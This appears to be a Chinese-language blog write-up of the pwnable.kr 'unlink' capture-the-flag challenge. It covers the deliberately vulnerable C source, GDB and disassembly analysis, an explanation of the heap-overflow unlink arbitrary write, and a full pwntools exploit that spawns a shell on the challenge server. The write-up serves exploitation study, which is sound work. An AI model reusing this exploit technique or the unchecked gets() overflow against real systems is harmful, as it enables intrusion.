pwnable.kr之unlink

之前在看别的东西，学习的随笔也没有写完......颓了几天。

由于最近在看堆，就把pwnable.kr上unlink这道题做一下，学习一下。

1.程序分析

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

typedef struct tagOBJ{

    struct tagOBJ* fd;

    struct tagOBJ* bk;

    char buf[8];

}OBJ;

void shell(){

    system("/bin/sh");

}

void unlink(OBJ* P){

    OBJ* BK;

    OBJ* FD;

    BK=P->bk;

    FD=P->fd;

    FD->bk=BK;

    BK->fd=FD;

}

int main(int argc, char* argv[]){

    malloc(1024);

    OBJ* A = (OBJ*)malloc(sizeof(OBJ));

    OBJ* B = (OBJ*)malloc(sizeof(OBJ));

    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C

    A->fd = B;

    B->bk = A;

    B->fd = C;

    C->bk = B;

    printf("here is stack address leak: %p\n", &A);

    printf("here is heap address leak: %p\n", A);

    printf("now that you have leaks, get shell!\n");

    // heap overflow!

    gets(A->buf);

    // exploit this unlink!

    unlink(B);

    return 0;

}

给出的源码如下。程序实现了一个结构体，指针域是两个指针，数据域是一个8字节大小的字符数组，其实就是模拟了一个chunk块，后面的unlink函数模拟了早期glibc中unlink函数解链表的形式。

程序的结尾有一个gets函数，向结构体A的buf中填充数据，可以看到这里对输入数据的大小没有做检查，所以存在堆溢出，我们应该可以覆盖B结构体的fd指针和bk指针。

这里泄露出了A在栈中的地址，以及A的堆地址。

gdb中调试一下，在输入‘abcd’之后，断点设在unlink函数中，A->buf地址保留在eax寄存器中，查看堆布局如下：

0x804b5b0是结构体A的首地址，可以看到，A的bk指针指向B,C的fd指针指向B。

unlink实现的功能其实入下：

P->fd->bk=P->bk

P->bk->fd=P->fd

覆盖B的bk和fd指针，可以进行两次任意写。IDA中伪代码如下：

   0x8048539 <main+10>:    push   ebp

   0x804853a <main+11>:    mov    ebp,esp

   0x804853c <main+13>:    push   ecx

=> 0x804853d <main+14>:    sub    esp,0x14

   0x8048540 <main+17>:    sub    esp,0xc

   0x8048543 <main+20>:    push   0x400

   0x8048548 <main+25>:    call   0x80483a0 <malloc@plt>

   0x804854d <main+30>:    add    esp,0x10

   0x8048550 <main+33>:    sub    esp,0xc

   0x8048553 <main+36>:    push   0x10

   0x8048555 <main+38>:    call   0x80483a0 <malloc@plt>

   0x804855a <main+43>:    add    esp,0x10

   0x804855d <main+46>:    mov    DWORD PTR [ebp-0x14],eax

   0x8048560 <main+49>:    sub    esp,0xc

   0x8048563 <main+52>:    push   0x10

   0x8048565 <main+54>:    call   0x80483a0 <malloc@plt>

   0x804856a <main+59>:    add    esp,0x10

   0x804856d <main+62>:    mov    DWORD PTR [ebp-0xc],eax

   0x8048570 <main+65>:    sub    esp,0xc

   0x8048573 <main+68>:    push   0x10

   0x8048575 <main+70>:    call   0x80483a0 <malloc@plt>

   0x804857a <main+75>:    add    esp,0x10

   0x804857d <main+78>:    mov    DWORD PTR [ebp-0x10],eax

   0x8048580 <main+81>:    mov    eax,DWORD PTR [ebp-0x14]

   0x8048583 <main+84>:    mov    edx,DWORD PTR [ebp-0xc]

   0x8048586 <main+87>:    mov    DWORD PTR [eax],edx

   0x8048588 <main+89>:    mov    edx,DWORD PTR [ebp-0x14]

   0x804858b <main+92>:    mov    eax,DWORD PTR [ebp-0xc]

   0x804858e <main+95>:    mov    DWORD PTR [eax+0x4],edx

   0x8048591 <main+98>:    mov    eax,DWORD PTR [ebp-0xc]

   0x8048594 <main+101>:    mov    edx,DWORD PTR [ebp-0x10]

   0x8048597 <main+104>:    mov    DWORD PTR [eax],edx

   0x8048599 <main+106>:    mov    eax,DWORD PTR [ebp-0x10]

   0x804859c <main+109>:    mov    edx,DWORD PTR [ebp-0xc]

   0x804859f <main+112>:    mov    DWORD PTR [eax+0x4],edx

   0x80485a2 <main+115>:    sub    esp,0x8

   0x80485a5 <main+118>:    lea    eax,[ebp-0x14]

   0x80485a8 <main+121>:    push   eax

   0x80485a9 <main+122>:    push   0x8048698

   0x80485ae <main+127>:    call   0x8048380 <printf@plt>

   0x80485b3 <main+132>:    add    esp,0x10

   0x80485b6 <main+135>:    mov    eax,DWORD PTR [ebp-0x14]

   0x80485b9 <main+138>:    sub    esp,0x8

   0x80485bc <main+141>:    push   eax

   0x80485bd <main+142>:    push   0x80486b8

   0x80485c2 <main+147>:    call   0x8048380 <printf@plt>

   0x80485c7 <main+152>:    add    esp,0x10

   0x80485ca <main+155>:    sub    esp,0xc

   0x80485cd <main+158>:    push   0x80486d8

   0x80485d2 <main+163>:    call   0x80483b0 <puts@plt>

   0x80485d7 <main+168>:    add    esp,0x10

   0x80485da <main+171>:    mov    eax,DWORD PTR [ebp-0x14]

   0x80485dd <main+174>:    add    eax,0x8

   0x80485e0 <main+177>:    sub    esp,0xc

   0x80485e3 <main+180>:    push   eax

   0x80485e4 <main+181>:    call   0x8048390 <gets@plt>

   0x80485e9 <main+186>:    add    esp,0x10

   0x80485ec <main+189>:    sub    esp,0xc

   0x80485ef <main+192>:    push   DWORD PTR [ebp-0xc]

   0x80485f2 <main+195>:    call   0x8048504 <unlink>

   0x80485f7 <main+200>:    add    esp,0x10

   0x80485fa <main+203>:    mov    eax,0x0

   0x80485ff <main+208>:    mov    ecx,DWORD PTR [ebp-0x4]

   0x8048602 <main+211>:    leave

   0x8048603 <main+212>:    lea    esp,[ecx-0x4]

   0x8048606 <main+215>:    ret

主函数汇编代码如下。最后是把ecx-0x4=ebp-0x8地址处的值赋给了esp寄存器，ret把esp的值pop给eip寄存器。我们想要get shell，就要跳转到shell函数中，所以这里就要通过控制栈里的值来控制eip寄存器的值。

A，B，C结构体地址在栈中的布局如下所示：

我们要把shell函数的地址填充到ebp_0x8函数的地址处，也就是&A+0x12处。&A的地址，题目已经给我们了。

所以这里主要的问题就是如何填充堆空间了，再来理解一下unlink函数实现的功能：

假设我们把B的bk指针覆盖为“####”，fd指针覆盖为"$$$$",unlink函数就实现了一下功能：

BK=*(B+4)=####，把“####”赋给BK

FD=*(B)=$$$$,把“$$$$”赋给FD

FD->bk=BK=*($$$$+4)="####",就是把“####”写入地址“$$$$+4”处

BK->fd=*(####)="$$$$",就是把“$$$$”写入地址“####”处

   0x80485ff <main+208>:    mov    ecx,DWORD PTR [ebp-0x4]

   0x8048602 <main+211>:    leave

   0x8048603 <main+212>:    lea    esp,[ecx-0x4]

   0x8048606 <main+215>:    ret

我们把ecx-4指向的地址处的值，要覆盖为&shell_addr+4。

exp如下：

from pwn import *

context.log_level="debug"

DEBUG=0

if DEBUG:

    io=process('./unlink')

else:

    sh=ssh(host='pwnable.kr',port=2222,user='unlink',password='guest')

    io=sh.run("./unlink")

elf=ELF('./unlink')

shell_addr=0x080484EC

io.recvuntil("here is stack address leak: ")

leak_stack=int(io.recv(10),16)

print("stack_addr:{}".format(hex(leak_stack)))

io.recvuntil("here is heap address leak: ")

leak_heap=int(io.recv(10),16)

print("heap_addr:{}".format(hex(leak_heap)))

io.recvline()

ebp_addr=leak_stack+0x14

ecx_addr=ebp_addr-0x4

padding='a'*8

payload=p32(shell_addr)+'a'*4+padding+p32(leak_heap+12)+p32(ebp_addr-4)

io.send(payload)

io.interactive()

巴特西

pwnable.kr之unlink

pwnable.kr之unlink

1.程序分析

最新文章

热门文章